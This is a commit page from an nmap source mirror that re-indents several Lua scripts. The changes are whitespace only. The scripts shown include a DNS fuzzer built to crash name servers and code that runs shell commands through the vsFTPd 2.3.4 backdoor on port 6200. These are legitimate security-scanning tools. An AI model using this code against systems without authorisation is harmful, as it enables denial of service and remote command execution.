1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-20 22:49:01 +00:00

Re-indent some libs and scripts, change 4 to 2-space indent

Mostly found with:

    for i in nselib/*.lua scripts/*.nse; do
      echo $(perl -lne 'BEGIN{$a=$p=0}next unless $_;/^(\s*)/;' \
        -e '$l=length$1;next if$l==$p;$a+=(abs($l-$p)-$a)/$.;' \
        -e '$p=$l;END{print$a}' $i) $i
    done | sort -nr

And indented with: https://gist.github.com/bonsaiviking/8845871

whois-ip.nse was particularly mangled (probably my fault due to using
vim's built-in indentation script, but it could be structured better)
This commit is contained in:
dmiller
2014-02-06 23:25:28 +00:00
parent 96c1a4f46b
commit fb67a6717e
30 changed files with 4693 additions and 4693 deletions

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -58,40 +58,40 @@ recursiveServer = "scanme.nmap.org"
-- @param port The servers port -- @param port The servers port
-- @return Bool, true if and only if the server is alive -- @return Bool, true if and only if the server is alive
function pingServer (host, port, attempts) function pingServer (host, port, attempts)
local status, response, result local status, response, result
-- If the server doesn't respond to the first in a multiattempt probe, slow down -- If the server doesn't respond to the first in a multiattempt probe, slow down
local slowDown = 1 local slowDown = 1
if not recursiveOnly then if not recursiveOnly then
-- try to get a server status message -- try to get a server status message
-- The method that nmap uses by default -- The method that nmap uses by default
local data local data
local pkt = dns.newPacket() local pkt = dns.newPacket()
pkt.id = math.random(65535) pkt.id = math.random(65535)
pkt.flags.OC3 = true pkt.flags.OC3 = true
data = dns.encode(pkt) data = dns.encode(pkt)
for i = 1, attempts do for i = 1, attempts do
status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)}) status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)})
if status then if status then
return true return true
end end
slowDown = slowDown + 0.25 slowDown = slowDown + 0.25
end end
return false return false
else else
-- just do a vanilla recursive lookup of scanme.nmap.org -- just do a vanilla recursive lookup of scanme.nmap.org
for i = 1, attempts do for i = 1, attempts do
status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)}) status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)})
if status then if status then
return true return true
end end
slowDown = slowDown + 0.25 slowDown = slowDown + 0.25
end end
return false return false
end end
end end
--- ---
@@ -99,13 +99,13 @@ end
-- the requested domain names -- the requested domain names
-- @return Random string of lowercase characters -- @return Random string of lowercase characters
function makeWord () function makeWord ()
local len = math.random(3,7) local len = math.random(3,7)
local name = string.char(len) local name = string.char(len)
for i = 1, len do for i = 1, len do
-- this next line assumes ascii -- this next line assumes ascii
name = name .. string.char(math.random(string.byte("a"),string.byte("z"))) name = name .. string.char(math.random(string.byte("a"),string.byte("z")))
end end
return name return name
end end
--- ---
@@ -115,19 +115,19 @@ end
-- @param compressed Bool, whether or not this record should have a compressed field -- @param compressed Bool, whether or not this record should have a compressed field
-- @return A dns host string -- @return A dns host string
function makeHost (compressed) function makeHost (compressed)
-- randomly choose between 2 to 4 levels in this domain -- randomly choose between 2 to 4 levels in this domain
local levels = math.random(2,4) local levels = math.random(2,4)
local name = "" local name = ""
for i = 1, levels do for i = 1, levels do
name = name .. makeWord () name = name .. makeWord ()
end end
if compressed then if compressed then
name = name .. string.char(0xC0) .. string.char(0x0C) name = name .. string.char(0xC0) .. string.char(0x0C)
else else
name = name .. string.char(0x00) name = name .. string.char(0x00)
end end
return name return name
end end
--- ---
@@ -135,25 +135,25 @@ end
-- makeHost(). This packet is to be corrupted. -- makeHost(). This packet is to be corrupted.
-- @return Always returns a valid packet -- @return Always returns a valid packet
function makePacket() function makePacket()
local recurs = 0x00 local recurs = 0x00
if recursiveOnly then if recursiveOnly then
recurs = 0x01 recurs = 0x01
end end
return return
string.char( math.random(0,255), math.random(0,255), -- TXID string.char( math.random(0,255), math.random(0,255), -- TXID
recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
0x00, 0x02, -- Questions 0x00, 0x02, -- Questions
0x00, 0x00, -- Answer RRs 0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs 0x00, 0x00, -- Authority RRs
0x00, 0x00) -- Additional RRs 0x00, 0x00) -- Additional RRs
-- normal host -- normal host
.. makeHost (false) .. -- Hostname .. makeHost (false) .. -- Hostname
string.char( 0x00, 0x01, -- Type (A) string.char( 0x00, 0x01, -- Type (A)
0x00, 0x01) -- Class (IN) 0x00, 0x01) -- Class (IN)
-- compressed host -- compressed host
.. makeHost (true) .. -- Hostname .. makeHost (true) .. -- Hostname
string.char( 0x00, 0x05, -- Type (CNAME) string.char( 0x00, 0x05, -- Type (CNAME)
0x00, 0x01) -- Class (IN) 0x00, 0x01) -- Class (IN)
end end
--- ---
@@ -167,18 +167,18 @@ end
-- @param dnsPacket A packet, generated by makePacket() -- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with bit flip errors -- @return The same packet, but with bit flip errors
function nudgePacket (dnsPacket) function nudgePacket (dnsPacket)
local newPacket = "" local newPacket = ""
-- Iterate over every byte in the packet -- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c) dnsPacket:gsub(".", function(c)
-- Induce bit errors at a rate of 1/50. -- Induce bit errors at a rate of 1/50.
if math.random(50) == 25 then if math.random(50) == 25 then
-- Bitflip algorithm: c ^ 1<<(rand()%7) -- Bitflip algorithm: c ^ 1<<(rand()%7)
newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) ) newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) )
else else
newPacket = newPacket .. c newPacket = newPacket .. c
end end
end) end)
return newPacket return newPacket
end end
--- ---
@@ -186,17 +186,17 @@ end
-- @param dnsPacket A packet, generated by makePacket() -- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing -- @return The same packet, but with a single byte missing
function dropByte (dnsPacket) function dropByte (dnsPacket)
local newPacket = "" local newPacket = ""
local byteToDrop = math.random(dnsPacket:len())-1 local byteToDrop = math.random(dnsPacket:len())-1
local i = 0 local i = 0
-- Iterate over every byte in the packet -- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c) dnsPacket:gsub(".", function(c)
i=i+1 i=i+1
if not i==byteToDrop then if not i==byteToDrop then
newPacket = newPacket .. c newPacket = newPacket .. c
end end
end) end)
return newPacket return newPacket
end end
--- ---
@@ -204,18 +204,18 @@ end
-- @param dnsPacket A packet, generated by makePacket() -- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing -- @return The same packet, but with a single byte missing
function injectByte (dnsPacket) function injectByte (dnsPacket)
local newPacket = "" local newPacket = ""
local byteToInject = math.random(dnsPacket:len())-1 local byteToInject = math.random(dnsPacket:len())-1
local i = 0 local i = 0
-- Iterate over every byte in the packet -- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c) dnsPacket:gsub(".", function(c)
i=i+1 i=i+1
if i==byteToInject then if i==byteToInject then
newPacket = newPacket .. string.char(math.random(0,255)) newPacket = newPacket .. string.char(math.random(0,255))
end end
newPacket = newPacket .. c newPacket = newPacket .. c
end) end)
return newPacket return newPacket
end end
--- ---
@@ -223,19 +223,19 @@ end
-- @param dnsPacket A packet, generated by makePacket() -- @param dnsPacket A packet, generated by makePacket()
-- @return The same packet, but with a single byte missing -- @return The same packet, but with a single byte missing
function truncatePacket (dnsPacket) function truncatePacket (dnsPacket)
local newPacket = "" local newPacket = ""
-- at least 12 bytes to make sure the packet isn't dropped as a tinygram -- at least 12 bytes to make sure the packet isn't dropped as a tinygram
local eatPacketPos = math.random(12,dnsPacket:len())-1 local eatPacketPos = math.random(12,dnsPacket:len())-1
local i = 0 local i = 0
-- Iterate over every byte in the packet -- Iterate over every byte in the packet
dnsPacket:gsub(".", function(c) dnsPacket:gsub(".", function(c)
i=i+1 i=i+1
if i==eatPacketPos then if i==eatPacketPos then
return return
end end
newPacket = newPacket .. c newPacket = newPacket .. c
end) end)
return newPacket return newPacket
end end
--- ---
@@ -247,89 +247,89 @@ end
-- @param query An uncorrupted DNS packet -- @param query An uncorrupted DNS packet
-- @return A string if the server died, else nil -- @return A string if the server died, else nil
function corruptAndSend (host, port, query) function corruptAndSend (host, port, query)
local randCorr = math.random(0,4) local randCorr = math.random(0,4)
local status local status
local result local result
-- 10 is arbitrary, but seemed like a good number -- 10 is arbitrary, but seemed like a good number
for j = 1, 10 do for j = 1, 10 do
if randCorr<=1 then if randCorr<=1 then
-- slight bias to nudging because it seems to work better -- slight bias to nudging because it seems to work better
query = nudgePacket(query) query = nudgePacket(query)
elseif randCorr==2 then elseif randCorr==2 then
query = dropByte(query) query = dropByte(query)
elseif randCorr==3 then elseif randCorr==3 then
query = injectByte(query) query = injectByte(query)
elseif randCorr==4 then elseif randCorr==4 then
query = truncatePacket(query) query = truncatePacket(query)
end end
status, result = comm.exchange(host, port, query, {timeout=DNStimeout}) status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
if not status then if not status then
if not pingServer(host,port,3) then if not pingServer(host,port,3) then
-- no response after three tries, the server is probably dead -- no response after three tries, the server is probably dead
return "Server stopped responding... He's dead, Jim.\n".. return "Server stopped responding... He's dead, Jim.\n"..
"Offending packet: 0x".. stdnse.tohex(query) "Offending packet: 0x".. stdnse.tohex(query)
else else
-- We corrupted the packet too much, the server will just drop it -- We corrupted the packet too much, the server will just drop it
-- No point in using it again -- No point in using it again
return nil return nil
end end
end end
if randCorr==4 then if randCorr==4 then
-- no point in using this function more then once -- no point in using this function more then once
return nil return nil
end end
end end
return nil return nil
end end
action = function(host, port) action = function(host, port)
local endT local endT
local timelimit, err local timelimit, err
local retStr local retStr
local query local query
for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
timelimit, err = stdnse.parse_timespec(nmap.registry.args[k]) timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
if not timelimit then if not timelimit then
error(err) error(err)
end end
break break
end end
end end
if timelimit and timelimit > 0 then if timelimit and timelimit > 0 then
-- seconds to milliseconds plus the current time -- seconds to milliseconds plus the current time
endT = timelimit*1000 + nmap.clock_ms() endT = timelimit*1000 + nmap.clock_ms()
elseif not timelimit then elseif not timelimit then
-- 10 minutes -- 10 minutes
endT = 10*60*1000 + nmap.clock_ms() endT = 10*60*1000 + nmap.clock_ms()
end end
-- Check if the server is a DNS server. -- Check if the server is a DNS server.
if not pingServer(host,port,1) then if not pingServer(host,port,1) then
-- David reported that his DNS server doesn't respond to -- David reported that his DNS server doesn't respond to
recursiveOnly = true recursiveOnly = true
if not pingServer(host,port,1) then if not pingServer(host,port,1) then
return "Server didn't response to our probe, can't fuzz" return "Server didn't response to our probe, can't fuzz"
end end
end end
nmap.set_port_state (host, port, "open") nmap.set_port_state (host, port, "open")
-- If the user specified that we should run for n seconds, then don't run for too much longer -- If the user specified that we should run for n seconds, then don't run for too much longer
-- If 0 seconds, then run forever -- If 0 seconds, then run forever
while not endT or nmap.clock_ms()<endT do while not endT or nmap.clock_ms()<endT do
-- Forge an initial packet -- Forge an initial packet
-- We start off with an only slightly corrupted packet, then add more and more corruption -- We start off with an only slightly corrupted packet, then add more and more corruption
-- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times -- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
-- then start all over -- then start all over
query = makePacket () query = makePacket ()
-- induce random jitter -- induce random jitter
retStr = corruptAndSend (host, port, query) retStr = corruptAndSend (host, port, query)
if not retStr==nil then if not retStr==nil then
return retStr return retStr
end end
end end
return "The server seems impervious to our assault." return "The server seems impervious to our assault."
end end

View File

@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
action = function(host, port) action = function(host, port)
-- TXID: 0xbeef -- TXID: 0xbeef
-- Flags: 0x0100 -- Flags: 0x0100
-- Questions: 1 -- Questions: 1
-- Answer RRs: 0 -- Answer RRs: 0
-- Authority RRs: 0 -- Authority RRs: 0
-- Additional RRs: 0 -- Additional RRs: 0
-- Query: -- Query:
-- Name: porttest, dns-oarc, net -- Name: porttest, dns-oarc, net
-- Type: TXT (0x0010) -- Type: TXT (0x0010)
-- Class: IN (0x0001) -- Class: IN (0x0001)
local query = string.char( 0xbe, 0xef, -- TXID local query = string.char( 0xbe, 0xef, -- TXID
0x01, 0x00, -- Flags 0x01, 0x00, -- Flags
0x00, 0x01, -- Questions 0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs 0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs 0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs 0x00, 0x00, -- Additional RRs
0x08) .. "porttest" .. 0x08) .. "porttest" ..
string.char( 0x08) .. "dns-oarc" .. string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" .. string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT) 0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN) 0x00, 0x01) -- Class (IN)
local status, result = comm.exchange(host, port, query, {proto="udp", local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000}) timeout=20000})
-- Fail gracefully -- Fail gracefully
if not status then if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT" return "ERROR: TIMEOUT"
else else
return return
end end
end end
-- Update the port -- Update the port
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
-- Now we need to "parse" the results to check to see if they are good -- Now we need to "parse" the results to check to see if they are good
-- We need a minimum of 5 bytes... -- We need a minimum of 5 bytes...
if (#result < 5) then if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response" return "ERROR: Malformed response"
else else
return return
end end
end end
-- Check TXID -- Check TXID
if (string.byte(result, 1) ~= 0xbe if (string.byte(result, 1) ~= 0xbe
or string.byte(result, 2) ~= 0xef) then or string.byte(result, 2) ~= 0xef) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID" return "ERROR: Invalid Transaction ID"
else else
return return
end end
end end
-- Check response flag and recursion -- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80 if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion" return "ERROR: Server refused recursion"
else else
return return
end end
end end
-- Check error flag -- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure" return "ERROR: Server failure"
else else
return return
end end
end end
-- Check for two Answer RRs and 1 Authority RR -- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00 if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01 or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00 or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers" return "ERROR: Response did not include expected answers"
else else
return return
end end
end end
-- We need a minimum of 128 bytes... -- We need a minimum of 128 bytes...
if (#result < 128) then if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response" return "ERROR: Truncated response"
else else
return return
end end
end end
-- Here is the really fragile part. If the DNS response changes -- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail. -- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN -- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text... -- then grab the length and display that text...
-- Check for TXT -- Check for TXT
if (string.byte(result, 118) ~= 0x00 if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10) or string.byte(result, 119) ~= 0x10)
then then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT" return "ERROR: Answer record not of type TXT"
else else
return return
end end
end end
-- Check for IN -- Check for IN
if (string.byte(result, 120) ~= 0x00 if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN" return "ERROR: Answer record not of type IN"
else else
return return
end end
end end
-- Get TXT length -- Get TXT length
local txtlen = string.byte(result, 128) local txtlen = string.byte(result, 128)
-- We now need a minimum of 128 + txtlen bytes + 1... -- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response" return "ERROR: Truncated response"
else else
return return
end end
end end
-- GET TXT record -- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen) local txtrd = string.sub(result, 129, 128 + txtlen)
return txtrd return txtrd
end end

View File

@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
action = function(host, port) action = function(host, port)
-- TXID: 0xbabe -- TXID: 0xbabe
-- Flags: 0x0100 -- Flags: 0x0100
-- Questions: 1 -- Questions: 1
-- Answer RRs: 0 -- Answer RRs: 0
-- Authority RRs: 0 -- Authority RRs: 0
-- Additional RRs: 0 -- Additional RRs: 0
-- Query: -- Query:
-- Name: txidtest, dns-oarc, net -- Name: txidtest, dns-oarc, net
-- Type: TXT (0x0010) -- Type: TXT (0x0010)
-- Class: IN (0x0001) -- Class: IN (0x0001)
local query = string.char( 0xba, 0xbe, -- TXID local query = string.char( 0xba, 0xbe, -- TXID
0x01, 0x00, -- Flags 0x01, 0x00, -- Flags
0x00, 0x01, -- Questions 0x00, 0x01, -- Questions
0x00, 0x00, -- Answer RRs 0x00, 0x00, -- Answer RRs
0x00, 0x00, -- Authority RRs 0x00, 0x00, -- Authority RRs
0x00, 0x00, -- Additional RRs 0x00, 0x00, -- Additional RRs
0x08) .. "txidtest" .. 0x08) .. "txidtest" ..
string.char( 0x08) .. "dns-oarc" .. string.char( 0x08) .. "dns-oarc" ..
string.char( 0x03) .. "net" .. string.char( 0x03) .. "net" ..
string.char( 0x00, -- Name terminator string.char( 0x00, -- Name terminator
0x00, 0x10, -- Type (TXT) 0x00, 0x10, -- Type (TXT)
0x00, 0x01) -- Class (IN) 0x00, 0x01) -- Class (IN)
local status, result = comm.exchange(host, port, query, {proto="udp", local status, result = comm.exchange(host, port, query, {proto="udp",
timeout=20000}) timeout=20000})
-- Fail gracefully -- Fail gracefully
if not status then if not status then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: TIMEOUT" return "ERROR: TIMEOUT"
else else
return return
end end
end end
-- Update the port -- Update the port
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
-- Now we need to "parse" the results to check to see if they are good -- Now we need to "parse" the results to check to see if they are good
-- We need a minimum of 5 bytes... -- We need a minimum of 5 bytes...
if (#result < 5) then if (#result < 5) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Malformed response" return "ERROR: Malformed response"
else else
return return
end end
end end
-- Check TXID -- Check TXID
if (string.byte(result, 1) ~= 0xba if (string.byte(result, 1) ~= 0xba
or string.byte(result, 2) ~= 0xbe) then or string.byte(result, 2) ~= 0xbe) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Invalid Transaction ID" return "ERROR: Invalid Transaction ID"
else else
return return
end end
end end
-- Check response flag and recursion -- Check response flag and recursion
if not (bit.band(string.byte(result, 3), 0x80) == 0x80 if not (bit.band(string.byte(result, 3), 0x80) == 0x80
and bit.band(string.byte(result, 4), 0x80) == 0x80) then and bit.band(string.byte(result, 4), 0x80) == 0x80) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server refused recursion" return "ERROR: Server refused recursion"
else else
return return
end end
end end
-- Check error flag -- Check error flag
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
return "ERROR: Server failure" return "ERROR: Server failure"
else else
return return
end end
end end
-- Check for two Answer RRs and 1 Authority RR -- Check for two Answer RRs and 1 Authority RR
if (string.byte(result, 5) ~= 0x00 if (string.byte(result, 5) ~= 0x00
or string.byte(result, 6) ~= 0x01 or string.byte(result, 6) ~= 0x01
or string.byte(result, 7) ~= 0x00 or string.byte(result, 7) ~= 0x00
or string.byte(result, 8) ~= 0x02) then or string.byte(result, 8) ~= 0x02) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Response did not include expected answers" return "ERROR: Response did not include expected answers"
else else
return return
end end
end end
-- We need a minimum of 128 bytes... -- We need a minimum of 128 bytes...
if (#result < 128) then if (#result < 128) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response" return "ERROR: Truncated response"
else else
return return
end end
end end
-- Here is the really fragile part. If the DNS response changes -- Here is the really fragile part. If the DNS response changes
-- in any way, this won't work and will fail. -- in any way, this won't work and will fail.
-- Jump to second answer and check to see that it is TXT, IN -- Jump to second answer and check to see that it is TXT, IN
-- then grab the length and display that text... -- then grab the length and display that text...
-- Check for TXT -- Check for TXT
if (string.byte(result, 118) ~= 0x00 if (string.byte(result, 118) ~= 0x00
or string.byte(result, 119) ~= 0x10) or string.byte(result, 119) ~= 0x10)
then then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type TXT" return "ERROR: Answer record not of type TXT"
else else
return return
end end
end end
-- Check for IN -- Check for IN
if (string.byte(result, 120) ~= 0x00 if (string.byte(result, 120) ~= 0x00
or string.byte(result, 121) ~= 0x01) then or string.byte(result, 121) ~= 0x01) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Answer record not of type IN" return "ERROR: Answer record not of type IN"
else else
return return
end end
end end
-- Get TXT length -- Get TXT length
local txtlen = string.byte(result, 128) local txtlen = string.byte(result, 128)
-- We now need a minimum of 128 + txtlen bytes + 1... -- We now need a minimum of 128 + txtlen bytes + 1...
if (#result < 128 + txtlen) then if (#result < 128 + txtlen) then
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
return "ERROR: Truncated response" return "ERROR: Truncated response"
else else
return return
end end
end end
-- GET TXT record -- GET TXT record
local txtrd = string.sub(result, 129, 128 + txtlen) local txtrd = string.sub(result, 129, 128 + txtlen)
return txtrd return txtrd
end end

View File

@@ -85,7 +85,7 @@ local function check_backdoor(host, shell_cmd, vuln)
local status, ret = socket:connect(host, 6200, "tcp") local status, ret = socket:connect(host, 6200, "tcp")
if not status then if not status then
stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE", stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE",
SCRIPT_NAME) SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true) return finish_ftp(socket, true)
end end
@@ -98,14 +98,14 @@ local function check_backdoor(host, shell_cmd, vuln)
status, ret = socket:receive_lines(1) status, ret = socket:receive_lines(1)
if not status then if not status then
return finish_ftp(socket, false, return finish_ftp(socket, false,
string.format("failed to read shell command results: %s", string.format("failed to read shell command results: %s",
ret)) ret))
end end
if not ret:match("uid=") then if not ret:match("uid=") then
stdnse.print_debug(3, stdnse.print_debug(3,
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE", "%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
SCRIPT_NAME) SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true) return finish_ftp(socket, true)
else else
@@ -117,8 +117,8 @@ local function check_backdoor(host, shell_cmd, vuln)
status, ret = socket:receive_lines(1) status, ret = socket:receive_lines(1)
if not status then if not status then
return finish_ftp(socket, false, return finish_ftp(socket, false,
string.format("failed to read shell commands results: %s", string.format("failed to read shell commands results: %s",
ret)) ret))
end end
else else
socket:send("exit\n"); socket:send("exit\n");
@@ -127,10 +127,10 @@ local function check_backdoor(host, shell_cmd, vuln)
vuln.state = vulns.STATE.EXPLOIT vuln.state = vulns.STATE.EXPLOIT
table.insert(vuln.exploit_results, table.insert(vuln.exploit_results,
string.format("Shell command: %s", shell_cmd)) string.format("Shell command: %s", shell_cmd))
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1") local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
table.insert(vuln.exploit_results, table.insert(vuln.exploit_results,
string.format("Results: %s", result)) string.format("Results: %s", result))
return finish_ftp(socket, true) return finish_ftp(socket, true)
end end
@@ -138,7 +138,7 @@ end
action = function(host, port) action = function(host, port)
-- Get script arguments. -- Get script arguments.
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
local vsftp_vuln = { local vsftp_vuln = {
title = "vsFTPd version 2.3.4 backdoor", title = "vsFTPd version 2.3.4 backdoor",
@@ -146,8 +146,8 @@ action = function(host, port)
description = [[ description = [[
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
references = { references = {
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093', 'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
}, },
dates = { dates = {
disclosure = {year = '2011', month = '07', day = '03'}, disclosure = {year = '2011', month = '07', day = '03'},
@@ -164,11 +164,11 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
-- Create socket. -- Create socket.
local sock, err = ftp.connect(host, port, local sock, err = ftp.connect(host, port,
{recv_before = false, {recv_before = false,
timeout = 8000}) timeout = 8000})
if not sock then if not sock then
stdnse.print_debug(1, "%s: can't connect: %s", stdnse.print_debug(1, "%s: can't connect: %s",
SCRIPT_NAME, err) SCRIPT_NAME, err)
return nil return nil
end end
@@ -177,7 +177,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
local code, message = ftp.read_reply(buffer) local code, message = ftp.read_reply(buffer)
if not code then if not code then
stdnse.print_debug(1, "%s: can't read banner: %s", stdnse.print_debug(1, "%s: can't read banner: %s",
SCRIPT_NAME, message) SCRIPT_NAME, message)
sock:close() sock:close()
return nil return nil
end end
@@ -185,7 +185,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
status, ret = sock:send(CMD_FTP .. "\r\n") status, ret = sock:send(CMD_FTP .. "\r\n")
if not status then if not status then
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s", stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
SCRIPT_NAME, ret) SCRIPT_NAME, ret)
return nil return nil
end end

View File

@@ -54,25 +54,25 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
local function loadFingerprints(filename, cat) local function loadFingerprints(filename, cat)
local file, fingerprints local file, fingerprints
-- Find the file -- Find the file
filename = nmap.fetchfile('nselib/data/' .. filename) or filename filename = nmap.fetchfile('nselib/data/' .. filename) or filename
-- Load the file -- Load the file
stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename) stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename)
local env = setmetatable({fingerprints = {}}, {__index = _G}); local env = setmetatable({fingerprints = {}}, {__index = _G});
file = loadfile(filename, "t", env) file = loadfile(filename, "t", env)
if( not(file) ) then if( not(file) ) then
